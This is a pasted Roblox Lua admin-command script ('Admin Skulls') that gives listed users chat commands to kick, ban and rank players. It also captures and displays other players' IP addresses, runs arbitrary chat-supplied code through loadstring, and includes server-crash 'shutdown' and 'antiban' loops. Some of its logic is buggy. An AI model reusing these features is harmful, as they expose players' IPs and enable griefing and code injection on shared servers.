Advertisement
yudhaprawira

Admin Skull

Jul 1st, 2016
384
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 26.40 KB | None | 0 0
  1. --MADE BY OneLegend (NOT THE SCRIPT) REGULAR SCRIPT: GO TO LINE 18-21 AND PUT SOME NAMES!!!
  2.  
  3.  
  4. msg = Instance.new("Message")
  5.  
  6. msg.Parent = game.Workspace
  7.  
  8. msg.Text = "Loading OneLegend's Admin Skulls" --Leave this credit alone
  9.  
  10. wait(0.5)
  11.  
  12. msg.Text = "Loading OneLegend's Admin Skulls." --Leave this credit alone
  13.  
  14. wait(0.5)
  15.  
  16. msg.Text = "Loading OneLegend's Admin Skulls.." --Leave this credit alone
  17.  
  18. wait(0.5)
  19.  
  20. msg.Text = "Loading OneLegend's Admin Skulls..." --Leave this credit alone
  21.  
  22. wait(0.5)
  23.  
  24. msg.Text = "OneLegend's Admin Skulls Have Loaded" --Leave this credit alone
  25.  
  26. wait(2)
  27.  
  28. msg:Remove()
  29.  
  30.  
  31. Admins = {
  32.  
  33. ["yudhaprawira"] = 3, -- Your name
  34.  
  35. ["hadehameed"] = 3, -- Friends names
  36.  
  37. ["TalentedLenny"] = 3,
  38.  
  39. ["Merandaah"] = 3 --Leave this credit alone
  40.  
  41. }
  42.  
  43. local Levels = {
  44.  
  45. [0] = {"Peasant", BrickColor.new("Really black")};
  46.  
  47. [1] = {"Knight", BrickColor.new("Black")};
  48.  
  49. [2] = {"Lord", BrickColor.new("Dark stone grey")};
  50.  
  51. [3] = {"King", BrickColor.new("Medium stone grey")}
  52.  
  53. }
  54.  
  55. Players = Game:GetService("Players")
  56.  
  57. Workspace = Game:GetService("Workspace")
  58.  
  59. Debris = Game:GetService("Debris")
  60.  
  61. Lighting = Game:GetService("Lighting")
  62.  
  63. Teams = Game:GetService("Teams")
  64.  
  65. MR = math.rad
  66.  
  67. MD = math.deg
  68.  
  69. IPStore = {}
  70.  
  71. IPBans = {}
  72.  
  73. Banned = {"Network Server"}
  74.  
  75. PrivateServer = {}
  76.  
  77. PrivateServerWarnings = {}
  78.  
  79. function IncommingConnection(IPAddress, Replicator)
  80.  
  81. local IP = IPAddress:sub(1, IPAddress:find(":")-1)
  82.  
  83. local ThePlayer
  84.  
  85. Players.PlayerAdded:connect(function(NewPlayer)
  86.  
  87. if not ThePlayer then
  88.  
  89. ThePlayer = NewPlayer
  90.  
  91. end
  92.  
  93. end)
  94.  
  95. repeat wait() until ThePlayer
  96.  
  97. IPStore[ThePlayer.Name] = IP
  98.  
  99. for i=1, #IPBans do
  100.  
  101. if IPBans[i] == IP then
  102.  
  103. ThePlayer:Remove()
  104.  
  105. end
  106.  
  107. end
  108.  
  109. end
  110.  
  111. function Round(Number, ToWhatExtent)
  112.  
  113. if ToWhatExtent then
  114.  
  115. return math.floor(Number/ToWhatExtent+0.5)*ToWhatExtent
  116.  
  117. else
  118.  
  119. return math.floor(Number + 0.5)
  120.  
  121. end
  122.  
  123. end
  124.  
  125. Settings = {
  126.  
  127. Color = BrickColor.new("Medium stone grey"), --Its bright red...
  128.  
  129. Name = "OneLegend Scythe Admin",
  130.  
  131. Version = "0.0.8"
  132.  
  133. }
  134.  
  135. function ShowInCircle(Prompter,...)
  136.  
  137. local Args = {...}
  138.  
  139. local Books = {}
  140.  
  141. Args[#Args + 1] = "Dismiss"
  142.  
  143. local Ans = nil
  144.  
  145. local Rank = Admins[Prompter.Name]
  146.  
  147. for i=1, #Args do
  148.  
  149. local IsKings
  150.  
  151. if Args[i]:find("(Kings Only)") then
  152.  
  153. IsKings = true
  154.  
  155. end
  156.  
  157. local Book = Instance.new("Part", Game:GetService("Workspace"))
  158.  
  159. Book.Anchored = false
  160.  
  161. Book.Locked = true
  162.  
  163. Book.CanCollide = false
  164.  
  165. Book.TopSurface, Book.BottomSurface = 0, 0
  166.  
  167. Book.Transparency = 0
  168.  
  169. Book.Reflectance = 0
  170.  
  171. Book.FormFactor = Enum.FormFactor.Custom
  172.  
  173. Book.Size = Vector3.new(2.3, 1, 3)
  174.  
  175. if IsKings and Admins[Prompter.Name] < 3 then
  176.  
  177. Book.BrickColor = BrickColor.new("Bright red")
  178.  
  179. else
  180.  
  181. Book.BrickColor = Settings.Color
  182.  
  183. end
  184.  
  185. table.insert(Books, Book)
  186.  
  187. local Mesh = Instance.new("SpecialMesh", Book)
  188.  
  189. Mesh.MeshId = "http://www.roblox.com/asset/?id=15039448"
  190.  
  191. Mesh.MeshType = "FileMesh"
  192.  
  193. local BG = Instance.new("BodyGyro", Book)
  194.  
  195. local BP = Instance.new("BodyPosition", Book)
  196.  
  197. if (IsKings and Admins[Prompter.Name] == 3) or not IsKings then
  198.  
  199. local Fire = Instance.new("Fire", Book)
  200.  
  201. Fire.Heat = 0
  202.  
  203. Fire.Color = Settings.Color.Color
  204.  
  205. Fire.SecondaryColor = Settings.Color.Color
  206.  
  207. end
  208.  
  209. local Billboard = Instance.new("BillboardGui", Book)
  210.  
  211. Billboard.Adornee = Book
  212.  
  213. Billboard.Enabled = true
  214.  
  215. Billboard.Active = true
  216.  
  217. Billboard.Size = UDim2.new(0.3, 0, 0.05, 0)
  218.  
  219. Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0)
  220.  
  221. local Text = Instance.new("TextLabel", Billboard)
  222.  
  223. Text.Text = Args[i]
  224.  
  225. if IsKings and Admins[Prompter.Name] ~= 3 then
  226.  
  227. Text.TextColor3 = BrickColor.new("White").Color
  228.  
  229. else
  230.  
  231. Text.TextColor3 = Settings.Color.Color
  232.  
  233. end
  234.  
  235. Text.BackgroundTransparency = 1
  236.  
  237. Text.Size = UDim2.new(1, 0, 1, 0)
  238.  
  239. local ClickDetector = Instance.new("ClickDetector", Book)
  240.  
  241. ClickDetector.MouseClick:connect(function(Player)
  242.  
  243. if Player == Prompter and Args[i] == "Dismiss" then
  244.  
  245. Ans = Args[i]
  246.  
  247. for _, v in pairs(Books) do
  248.  
  249. v:Remove()
  250.  
  251. end
  252.  
  253. Books = {}
  254.  
  255. end
  256.  
  257. end)
  258.  
  259. end
  260.  
  261. coroutine.resume(coroutine.create(function()
  262.  
  263. local radius = 3 + (#Books*.7)
  264.  
  265. while wait() do
  266.  
  267. if #Books == 0 then break end
  268.  
  269. for _, Book in pairs(Books) do
  270.  
  271. local BP = Book:FindFirstChild("BodyPosition") or Instance.new("BodyPosition", Book)
  272.  
  273. BP.maxForce = Vector3.new(1000000000, 1000000000, 1000000000)
  274.  
  275. local BG = Book:FindFirstChild("BodyGyro") or Instance.new("BodyGyro", Book)
  276.  
  277. BG.maxTorque = Vector3.new(1000000000, 1000000000, 1000000000)
  278.  
  279. local Pos = (Prompter.Character:FindFirstChild("Torso") or Prompter.Character:FindFirstChild("Torso")).CFrame
  280.  
  281. local x = math.cos((tonumber(_)/#Books - (0.5/#Books)) * math.pi*2) * radius -- cos
  282.  
  283. local y = 0
  284.  
  285. local z = math.sin((tonumber(_)/#Books - (0.5/#Books)) * math.pi*2) * radius -- sin
  286.  
  287. BP.position = Pos:toWorldSpace(CFrame.new(x,y,z):inverse()).p
  288.  
  289. BG.cframe = CFrame.new(Book.Position, Pos.p) * CFrame.Angles(math.pi/2, 0, 0)
  290.  
  291. end
  292.  
  293. end
  294.  
  295. end))
  296.  
  297. end
  298.  
  299. function Prompt(Prompter, ...)
  300.  
  301. local Args = {...}
  302.  
  303. local Books = {} --Dismiss sounds cooler :3
  304.  
  305. Args[#Args + 1] = "Dismiss"
  306.  
  307. local Ans = nil
  308.  
  309. for i=1, #Args do
  310.  
  311. local Book = Instance.new("Part", Game:GetService("Workspace"))
  312.  
  313. Book.Anchored = false
  314.  
  315. Book.Locked = true
  316.  
  317. Book.CanCollide = false
  318.  
  319. Book.TopSurface, Book.BottomSurface = 0, 0
  320.  
  321. Book.Transparency = 0
  322.  
  323. Book.FormFactor = Enum.FormFactor.Custom
  324.  
  325. Book.Size = Vector3.new(2.3, 1, 3)
  326.  
  327. Book.BrickColor = Settings.Color
  328.  
  329. table.insert(Books, Book)
  330.  
  331. local Mesh = Instance.new("SpecialMesh", Book)
  332.  
  333. Mesh.MeshId = "http://www.roblox.com/asset/?id=15039448"
  334.  
  335. Mesh.MeshType = "FileMesh"
  336.  
  337. local Fire = Instance.new("Fire", Book)
  338.  
  339. Fire.Heat = 0
  340.  
  341. Fire.Color = Settings.Color.Color
  342.  
  343. Fire.SecondaryColor = Settings.Color.Color
  344.  
  345. local Billboard = Instance.new("BillboardGui", Book)
  346.  
  347. Billboard.Adornee = Book
  348.  
  349. Billboard.Enabled = true
  350.  
  351. Billboard.Active = true
  352.  
  353. Billboard.Size = UDim2.new(0.3, 0, 0.05, 0)
  354.  
  355. Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0)
  356.  
  357. local Text = Instance.new("TextLabel", Billboard)
  358.  
  359. Text.Text = Args[i]
  360.  
  361. Text.TextColor3 = Settings.Color.Color
  362.  
  363. Text.BackgroundTransparency = 1
  364.  
  365. Text.Size = UDim2.new(1, 0, 1, 0)
  366.  
  367. local AttemptToFixPrompt = i
  368.  
  369. local ClickDetector = Instance.new("ClickDetector", Book)
  370.  
  371. ClickDetector.MouseClick:connect(function(Player)
  372.  
  373. if Player == Prompter then
  374.  
  375. Ans = Args[i]
  376.  
  377. local BackupBooks = Books
  378.  
  379. Books = {}
  380.  
  381. local AnimationOver
  382.  
  383. pcall(function() BP.Position = Player.Character.Torso.Position end)
  384.  
  385. Book.Touched:connect(function(zPart)
  386.  
  387. pcall(function()
  388.  
  389. if zPart == Player.Character.Torso then
  390.  
  391. AnimationOver = true
  392.  
  393. end
  394.  
  395. end)
  396.  
  397. end)
  398.  
  399. delay(5, function() AnimationOver = true end)
  400.  
  401. for _, v in pairs(BackupBooks) do
  402.  
  403. v:Remove()
  404.  
  405. end
  406.  
  407. BackupBooks = nil
  408.  
  409. return AttemptToFixPrompt
  410.  
  411. end
  412.  
  413. end)
  414.  
  415. end
  416.  
  417. coroutine.resume(coroutine.create(function()
  418.  
  419. local radius = 3 + (#Books)
  420.  
  421. while wait() do
  422.  
  423. if #Books == 0 then break end
  424.  
  425. for _, Book in pairs(Books) do
  426.  
  427. local BP = Book:FindFirstChild("BodyPosition") or Instance.new("BodyPosition", Book)
  428.  
  429. BP.maxForce = Vector3.new(1000000000, 1000000000, 1000000000)
  430.  
  431. local BG = Book:FindFirstChild("BodyGyro") or Instance.new("BodyGyro", Book)
  432.  
  433. BG.maxTorque = Vector3.new(1000000000, 1000000000, 1000000000)
  434.  
  435. local Pos = (Prompter.Character:FindFirstChild("Torso") or Prompter.Character:FindFirstChild("Torso")).CFrame
  436.  
  437. local x = math.cos((tonumber(_)/#Books - (0.5/#Books)) * math.pi) * radius -- cos
  438.  
  439. local y = 0
  440.  
  441. local z = math.sin((tonumber(_)/#Books - (0.5/#Books)) * math.pi) * radius -- sin
  442.  
  443. BP.position = Pos:toWorldSpace(CFrame.new(x,y,z):inverse()).p
  444.  
  445. BG.cframe = CFrame.new(Book.Position, Pos.p) * CFrame.Angles(math.pi/2, 0, 0)
  446.  
  447. end
  448.  
  449. end
  450.  
  451. end))
  452.  
  453. while (Ans == nil) and (#Books > 0) do
  454.  
  455. wait()
  456.  
  457. end
  458.  
  459. return Ans
  460.  
  461. end
  462.  
  463. function ParseMessage(Message)
  464.  
  465. Message = Message:gsub("lego%s", "")
  466.  
  467. Message = Message:gsub("runescape%s", "")
  468.  
  469. Message = Message:gsub("minecraft%s", "")
  470.  
  471. local Command
  472.  
  473. local Args = {}
  474.  
  475. for Word in Message:gmatch("%w+") do
  476.  
  477. if not Command then
  478.  
  479. Command = Word
  480.  
  481. else
  482.  
  483. table.insert(Args, Word)
  484.  
  485. end
  486.  
  487. end
  488.  
  489. return Command, Args
  490.  
  491. end
  492.  
  493. function ErrorHandler(Error)
  494.  
  495. print(Error)
  496.  
  497. local Message = Instance.new("Message", Workspace)
  498.  
  499. Message.Text = "!ERROR!: " .. Error:gsub("(.-:)","")
  500.  
  501. Game:GetService("Debris"):AddItem(Message, 5)
  502.  
  503. end
  504.  
  505. function onPlayerAdded(NewPlayer)
  506.  
  507. for b=1, #Banned do
  508.  
  509. if NewPlayer.Name == Banned[b] then
  510.  
  511. coroutine.resume(coroutine.create(function()
  512.  
  513. for i=1, 25 do
  514.  
  515. pcall(function() NewPlayer:Destroy() end)
  516.  
  517. wait(0.5)
  518.  
  519. end
  520.  
  521. end))
  522.  
  523. end
  524.  
  525. end
  526.  
  527. NewPlayer.Chatted:connect(function(C)
  528.  
  529. xpcall(function()
  530.  
  531. local a, b = coroutine.resume(coroutine.create(function()
  532.  
  533. onChat(NewPlayer, C)
  534.  
  535. end))
  536.  
  537. assert(a,b)
  538.  
  539. end, ErrorHandler)
  540.  
  541. end)
  542.  
  543. end
  544.  
  545. function onChat(player, message)
  546.  
  547. local Command, Arguments = ParseMessage(message)
  548.  
  549. if Admins[player.Name] ~= nil then
  550.  
  551. if Command == "kickmenu" then
  552.  
  553. local People = Game:GetService("Players"):GetPlayers()
  554.  
  555. local Names = {}
  556.  
  557. for _, v in pairs(People) do
  558.  
  559. table.insert(Names, v.Name)
  560.  
  561. end
  562.  
  563. local OptionChoosen = Prompt(player, unpack(Names))
  564.  
  565. print(OptionChoosen)
  566.  
  567. if OptionChoosen and game:GetService("Players"):FindFirstChild(OptionChoosen) then
  568.  
  569. game:GetService("Players") [OptionChoosen]:Destroy()
  570.  
  571. else
  572.  
  573. print("Player missing")
  574.  
  575. end
  576.  
  577. elseif Command == "privateserver" then
  578.  
  579. local Option = Prompt(player, "Turn on", "Turn off", "Add name", "Remove name", "Remove all names")
  580.  
  581. if Option == "Turn on" then
  582.  
  583. PrivateServerOn = true
  584.  
  585. local OnJoinCon = function(NewPlayer)
  586.  
  587. if PrivateServer[NewPlayer.Name] == nil then
  588.  
  589. NewPlayer:Remove()
  590.  
  591. if PrivateServerWarnings[NewPlayer.Name] == nil then
  592.  
  593. local AddHim = Prompt(player, "Click me to add " .. NewPlayer.Name .. " to the private server list")
  594.  
  595. if AddHim == "Click me to add " .. NewPlayer.Name .. " to the private server list" then
  596.  
  597. PrivateServer[NewPlayer.Name] = true
  598.  
  599. end
  600.  
  601. end
  602.  
  603. end
  604.  
  605. end
  606.  
  607. while PrivateServerOn do wait() end
  608.  
  609. OnJoinCon:disconnect()
  610.  
  611. elseif Option == "Turn off" then
  612.  
  613. PrivateServerOn = nil
  614.  
  615. elseif Option == "Add name" then
  616.  
  617. local Names = {}
  618.  
  619. for _, v in pairs(Players:GetPlayers()) do
  620.  
  621. table.insert(Names, v.Name)
  622.  
  623. end
  624.  
  625. local PlayerToAdd = Prompt(player, unpack(Names))
  626.  
  627. if Players:FindFirstChild(PlayerToAdd) then
  628.  
  629. PrivateServer[PlayerToAdd] = true
  630.  
  631. end
  632.  
  633. elseif Option == "Remove name" then
  634.  
  635. local Names = {}
  636.  
  637. for Name in pairs(PrivateServer) do
  638.  
  639. table.insert(Names, Name)
  640.  
  641. end
  642.  
  643. local NameToRemove = Prompt(player, unpack(Names))
  644.  
  645. if Names[NameToRemove] then
  646.  
  647. Names[NameToRemove] = nil
  648.  
  649. end
  650.  
  651. elseif Option == "Remove all names" then
  652.  
  653. PrivateServer = {}
  654.  
  655. end
  656.  
  657. elseif Command == "banmenu" then
  658.  
  659. local People = Game:GetService("Players"):GetPlayers()
  660.  
  661. local Names = {}
  662.  
  663. for _, v in pairs(People) do
  664.  
  665. table.insert(Names, v.Name)
  666.  
  667. end
  668.  
  669. local OptionChoosen = Prompt(player, unpack(Names))
  670.  
  671. print(OptionChoosen)
  672.  
  673. if OptionChoosen and game:GetService("Players"):FindFirstChild(OptionChoosen) then
  674.  
  675. table.insert(Banned, OptionChoosen)
  676.  
  677. game:GetService("Players") [OptionChoosen]:Destroy()
  678.  
  679. else
  680.  
  681. print("Player missing")
  682.  
  683. end
  684.  
  685. elseif Command == "rankset" and Admins[player.Name] == 3 then
  686.  
  687. if Arguments[1] and tonumber(Arguments[1]) ~= nil then
  688.  
  689. local RankSet
  690.  
  691. if tonumber(Arguments[1]) == 0 then
  692.  
  693. RankSet = nil
  694.  
  695. else
  696.  
  697. RankSet = tonumber(Arguments[1])
  698.  
  699. end
  700.  
  701. for i=2, #Arguments do
  702.  
  703. local arg = Arguments[i]
  704.  
  705. for z, vPlayer in pairs(Players:GetPlayers()) do
  706.  
  707. if vPlayer.Name:lower():find(arg:lower()) == 1 then
  708.  
  709. Admins[vPlayer.Name] = RankSet
  710.  
  711. end
  712.  
  713. end
  714.  
  715. end
  716.  
  717. end
  718.  
  719. elseif message:sub(1, 5) == "load/" then
  720.  
  721. xpcall(function()
  722.  
  723. local c, d = coroutine.resume(coroutine.create(function()
  724.  
  725. loadstring(message:sub(6))()
  726.  
  727. end))
  728.  
  729. assert(c, d)
  730.  
  731. end, function(Error)
  732.  
  733. local Hint = Instance.new("Message", Workspace)
  734.  
  735. Hint.Text = "|QUICKSCRIPT ERROR|:| " .. Error:sub("(.-:)")
  736.  
  737. wait(4)
  738.  
  739. Hint:Remove()
  740.  
  741. end)
  742.  
  743. elseif Command == "cleanup" then
  744.  
  745. for _, v in pairs(Workspace:GetChildren()) do
  746.  
  747. if Players:GetPlayerFromCharacter(v) == nil and v.className ~= "Terrain" and v~=script then
  748.  
  749. pcall(function() v:Remove() end)
  750.  
  751. end
  752.  
  753. end
  754.  
  755. local Base = Instance.new("Part", Workspace)
  756.  
  757. Base.Anchored = true
  758.  
  759. Base.TopSurface = Enum.SurfaceType.Smooth
  760.  
  761. Base.BottomSurface = Enum.SurfaceType.Smooth
  762.  
  763. Base.FormFactor = Enum.FormFactor.Symmetric
  764.  
  765. Base.BrickColor = BrickColor.new("Earth green")
  766.  
  767. Base.Size = Vector3.new(1000, 1, 1000)
  768.  
  769. Base.Name = "Base"
  770.  
  771. Base.CFrame = CFrame.new(Vector3.new())
  772.  
  773. local Option = Prompt(player, "Click me if you would like to clean everything...")
  774.  
  775. if Option == "Click me if you would like to clean everything..." then
  776.  
  777. pcall(function() Lighting:ClearAllChildren() end)
  778.  
  779. pcall(function() Teams:ClearAllChildren() end)
  780.  
  781. pcall(function() table.foreach(Players:GetPlayers(), function(_, v) v.Neutral = true end) end)
  782.  
  783. end
  784.  
  785. local Option = Prompt(player, "Click me if you would like to respawn players...")
  786.  
  787. if Option == "Click me if you would like to respawn players..." then
  788.  
  789. for _, v in pairs(Players:GetPlayers()) do
  790.  
  791. pcall(function()
  792.  
  793. local Model = Instance.new("Model", Workspace)
  794.  
  795. Instance.new("Humanoid", Model)
  796.  
  797. v.Character = Model
  798.  
  799. end)
  800.  
  801. end
  802.  
  803. end
  804.  
  805. elseif Command == "hide" then
  806.  
  807. if Arguments[1] == "ranks" then
  808.  
  809. NotInViewRanks = true
  810.  
  811. Lighting.TimeOfDay = "14:00:00"
  812.  
  813. Lighting.Ambient = BrickColor.new("Medium stone grey").Color
  814.  
  815. while Workspace:FindFirstChild("RankStatus", true) do
  816.  
  817. Workspace:FindFirstChild("RankStatus", true):Destroy()
  818.  
  819. end
  820.  
  821. end
  822.  
  823. elseif Command == "shutdown" then
  824.  
  825. local InitTime = time()
  826.  
  827. while wait() do
  828.  
  829. pcall(function()
  830.  
  831. Players:ClearAllChildren()
  832.  
  833. end)
  834.  
  835. pcall(function()
  836.  
  837. if #Players:GetPlayers() >= 1 or InitTime + 30 < time() then
  838.  
  839. Instance.new("ManualSurfaceJointInstance", Workspace)
  840.  
  841. end
  842.  
  843. end)
  844.  
  845. end
  846.  
  847. elseif Command == "view" or Command == "show" then
  848.  
  849. if Arguments[1] == "ranks" then
  850.  
  851. NotInViewRanks = nil
  852.  
  853. Lighting.TimeOfDay = "2:00:00"
  854.  
  855. Lighting.Ambient = BrickColor.new("Black").Color
  856.  
  857. local AutoColorConnection = Workspace.ChildAdded:connect(function(v)
  858.  
  859. local Player = Players:GetPlayerFromCharacter(v)
  860.  
  861. if Player and Admins[Player.Name] then
  862.  
  863. local Rank = Admins[Player.Name]
  864.  
  865. coroutine.resume(coroutine.create(function()
  866.  
  867. local Head = v:FindFirstChild("Head")
  868.  
  869. local Status = Instance.new("Part", v)
  870.  
  871. Status.FormFactor = "Symmetric"
  872.  
  873. Status.Shape = "Ball"
  874.  
  875. Status.Name = "Status"
  876.  
  877. Status.TopSurface = 0
  878.  
  879. Status.BottomSurface = 0
  880.  
  881. Status.BrickColor = Levels[Rank][2]
  882.  
  883. Status.CanCollide = false
  884.  
  885. Status.Name = "RankStatus"
  886.  
  887. Status.Transparency = 0.5
  888.  
  889. local Billboard = Instance.new("BillboardGui", Status)
  890.  
  891. Billboard.Adornee = Status
  892.  
  893. Billboard.Enabled = true
  894.  
  895. Billboard.Active = true
  896.  
  897. Billboard.Size = UDim2.new(0.3, 0, 0.05, 0)
  898.  
  899. Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0)
  900.  
  901. local Text = Instance.new("TextLabel", Billboard)
  902.  
  903. Text.Text = Levels[Rank][1] .. " - " .. Player.Name
  904.  
  905. Text.TextColor3 = Levels[Rank][2].Color
  906.  
  907. Text.BackgroundTransparency = 1
  908.  
  909. Text.Size = UDim2.new(1, 0, 1, 0)
  910.  
  911. local Body = Instance.new("BodyPosition", Status)
  912.  
  913. Body.maxForce = Vector3.new(math.huge, math.huge, math.huge)
  914.  
  915. local Fire = Instance.new("Fire", Status)
  916.  
  917. Fire.Color = Levels[Rank][2].Color
  918.  
  919. Fire.SecondaryColor = Levels[Rank][2].Color
  920.  
  921. local function gS(i)
  922.  
  923. return math.sin(math.rad(i))
  924.  
  925. end
  926.  
  927. local function gC(i)
  928.  
  929. return math.cos(math.rad(i))
  930.  
  931. end
  932.  
  933. for _, v in pairs(v:GetChildren()) do
  934.  
  935. if v:IsA("Part") and v.Name ~= "RankStatus" then
  936.  
  937. local Sel = Instance.new("SelectionBox", Status)
  938.  
  939. Sel.Adornee = v
  940.  
  941. Sel.Color = Levels[Rank][2]
  942.  
  943. local Fir = Instance.new("Fire", Status)
  944.  
  945. Fir.Color = Levels[Rank][2].Color
  946.  
  947. Fir.SecondaryColor = Levels[Rank][2].Color
  948.  
  949. end
  950.  
  951. end
  952.  
  953. while wait() and Head and Head.Parent do
  954.  
  955. for i = 0, 360, 2 do
  956.  
  957. Body.position = (CFrame.new(Head.Position) * CFrame.new(Vector3.new(gS(i)*5, gC(i*5)*2 + 1.5, gC(i)*5))).p
  958.  
  959. wait()
  960.  
  961. end
  962.  
  963. end
  964.  
  965. end))
  966.  
  967. end
  968.  
  969. end)
  970.  
  971. for _, v in pairs(Workspace:GetChildren()) do
  972.  
  973. local Player = Players:GetPlayerFromCharacter(v)
  974.  
  975. if Player and Admins[Player.Name] then
  976.  
  977. local Rank = Admins[Player.Name]
  978.  
  979. coroutine.resume(coroutine.create(function()
  980.  
  981. local Head = v:FindFirstChild("Head")
  982.  
  983. local Status = Instance.new("Part", v)
  984.  
  985. Status.FormFactor = "Symmetric"
  986.  
  987. Status.Shape = "Ball"
  988.  
  989. Status.Name = "Status"
  990.  
  991. Status.TopSurface = 0
  992.  
  993. Status.BottomSurface = 0
  994.  
  995. Status.BrickColor = Levels[Rank][2]
  996.  
  997. Status.CanCollide = false
  998.  
  999. Status.Name = "RankStatus"
  1000.  
  1001. Status.Transparency = 0.5
  1002.  
  1003. local Billboard = Instance.new("BillboardGui", Status)
  1004.  
  1005. Billboard.Adornee = Status
  1006.  
  1007. Billboard.Enabled = true
  1008.  
  1009. Billboard.Active = true
  1010.  
  1011. Billboard.Size = UDim2.new(0.3, 0, 0.05, 0)
  1012.  
  1013. Billboard.ExtentsOffset = Vector3.new(0, 2.5, 0)
  1014.  
  1015. local Text = Instance.new("TextLabel", Billboard)
  1016.  
  1017. Text.Text = Levels[Rank][1] .. " - " .. Player.Name
  1018.  
  1019. Text.TextColor3 = Levels[Rank][2].Color
  1020.  
  1021. Text.BackgroundTransparency = 1
  1022.  
  1023. Text.Size = UDim2.new(1, 0, 1, 0)
  1024.  
  1025. local Body = Instance.new("BodyPosition", Status)
  1026.  
  1027. Body.maxForce = Vector3.new(math.huge, math.huge, math.huge)
  1028.  
  1029. local Fire = Instance.new("Fire", Status)
  1030.  
  1031. Fire.Color = Levels[Rank][2].Color
  1032.  
  1033. Fire.SecondaryColor = Levels[Rank][2].Color
  1034.  
  1035. local function gS(i)
  1036.  
  1037. return math.sin(math.rad(i))
  1038.  
  1039. end
  1040.  
  1041. local function gC(i)
  1042.  
  1043. return math.cos(math.rad(i))
  1044.  
  1045. end
  1046.  
  1047. for _, v in pairs(v:GetChildren()) do
  1048.  
  1049. if v:IsA("Part") and v.Name ~= "RankStatus" then
  1050.  
  1051. local Sel = Instance.new("SelectionBox", Status)
  1052.  
  1053. Sel.Adornee = v
  1054.  
  1055. Sel.Color = Levels[Rank][2]
  1056.  
  1057. local Fir = Instance.new("Fire", Status)
  1058.  
  1059. Fir.Color = Levels[Rank][2].Color
  1060.  
  1061. Fir.SecondaryColor = Levels[Rank][2].Color
  1062.  
  1063. end
  1064.  
  1065. end
  1066.  
  1067. while wait() and Head and Head.Parent do
  1068.  
  1069. for i = 0, 360, 2 do
  1070.  
  1071. Body.position = (CFrame.new(Head.Position) * CFrame.new(Vector3.new(gS(i)*5, gC(i*5)*2 + 1.5, gC(i)*5))).p
  1072.  
  1073. wait()
  1074.  
  1075. end
  1076.  
  1077. end
  1078.  
  1079. end))
  1080.  
  1081. end
  1082.  
  1083. end
  1084.  
  1085. repeat wait() until NotInViewRanks
  1086.  
  1087. AutoColorConnection:disconnect()
  1088.  
  1089. elseif Arguments[1] == "time" or Arguments[1] == "clock" then
  1090.  
  1091. local SecondsOfToday = math.fmod(tick(), 60*60*24) -- Long story check in wiki...
  1092.  
  1093. local Hour = math.floor(SecondsOfToday / (60*60))
  1094.  
  1095. local Minute = math.floor(SecondsOfToday/60 - Hour*60)
  1096.  
  1097. local Second = math.floor(math.fmod(SecondsOfToday, 60))
  1098.  
  1099. if Hour > 12 then Hour = Hour - 12 end
  1100.  
  1101. ShowInCircle(player, "Current time: " .. Hour .. ":" .. Minute .. ":" .. Second, "Server Time: " .. math.floor(time()))
  1102.  
  1103. end
  1104.  
  1105. elseif Command == "kick" then
  1106.  
  1107. for _, Arg in pairs(Arguments) do
  1108.  
  1109. for k, Player in pairs(Game:GetService("Players"):GetPlayers()) do
  1110.  
  1111. if Player.Name:lower():match(Arg:lower()) then
  1112.  
  1113. pcall(function() Player:Destroy() end)
  1114.  
  1115. end
  1116.  
  1117. end
  1118.  
  1119. end
  1120.  
  1121. elseif Command == "skulls" then
  1122.  
  1123. ShowInCircle(player,
  1124.  
  1125. "kill", "kick", "ban", "fire", "day", "night", "unfire", "ff", "unff", "admin", "unadmin", "unban", "fog", "nbc", "bc", "tbc", "obc", "getage", "cave"
  1126.  
  1127. )
  1128.  
  1129. elseif Command == "skulls2" then
  1130.  
  1131. ShowInCircle(player,
  1132.  
  1133. "tree", "lag", "semikick", "getmsg", "sparkles", "respawn", "kickmenu", "banmenu", "load/[script]", "cleanup", "shutdown", "rankset", "ip", "antiban", "lag", "breakscripts", "killmenu", "hackaccount", "hackmenu", "privateserver"
  1134.  
  1135. )
  1136.  
  1137. elseif Command == "skullsALL" then
  1138.  
  1139. ShowInCircle(player,
  1140.  
  1141. "kill", "kick", "ban", "fire", "day", "night", "override", "unfire", "ff", "unff", "admin", "unadmin", "unban", "fog", "nbc", "bc", "tbc", "obc", "getage", "cave", "tree", "lag", "semikick", "getmsg", "sparkles", "respawn", "kickmenu", "banmenu", "load/[script]", "cleanup", "shutdown", "rankset", "ip", "antiban", "lag", "breakscripts", "killmenu", "hackaccount", "hackmenu", "privateserver"
  1142.  
  1143. )
  1144.  
  1145. elseif Command == "antiban" then
  1146.  
  1147. local PeopleNames = {}
  1148.  
  1149. for _, v in pairs(Game:GetService("Players"):GetPlayers()) do
  1150.  
  1151. table.insert(PeopleNames, v.Name)
  1152.  
  1153. end
  1154.  
  1155. local Option = Prompt(player, unpack(PeopleNames))
  1156.  
  1157. if Option then
  1158.  
  1159. Game:GetService("Players").PlayerRemoving:connect(function(Player)
  1160.  
  1161. if Player.Name == Option then
  1162.  
  1163. while wait() do
  1164.  
  1165. pcall(function() Players:ClearAllChildren() end)
  1166.  
  1167. end
  1168.  
  1169. end
  1170.  
  1171. end)
  1172.  
  1173. end
  1174.  
  1175. elseif Command == "ip" and Admins[player.Name] == 3 then
  1176.  
  1177. local Option = Prompt(player, "Add banishment", "View ip's", "Remove ip ban")
  1178.  
  1179. if Option == "Add banishment" then
  1180.  
  1181. local Names = {}
  1182.  
  1183. local IPs = IPStore
  1184.  
  1185. for Name, IP in pairs(IPs) do
  1186.  
  1187. table.insert(Names, Name)
  1188.  
  1189. end
  1190.  
  1191. local BanPlayer = Prompt(player, unpack(Names))
  1192.  
  1193. if IPs[BanPlayer] ~= nil then
  1194.  
  1195. table.insert(IPBans, IPs[BanPlayer])
  1196.  
  1197. for _, v in pairs(Game:GetService("Players"):GetPlayers()) do
  1198.  
  1199. if v.Name == BanPlayer then
  1200.  
  1201. v:Remove()
  1202.  
  1203. end
  1204.  
  1205. end
  1206.  
  1207. end
  1208.  
  1209. elseif Option == "View ip's" then
  1210.  
  1211. local Names = {}
  1212.  
  1213. local IPs = IPStore
  1214.  
  1215. for Name, IP in pairs(IPs) do
  1216.  
  1217. table.insert(Names, Name)
  1218.  
  1219. end
  1220.  
  1221. local Option = Prompt(player, unpack(Names))
  1222.  
  1223. if IPStore[Option] ~= nil then
  1224.  
  1225. Prompt(player, IPStore[Option])
  1226.  
  1227. end
  1228.  
  1229. end
  1230.  
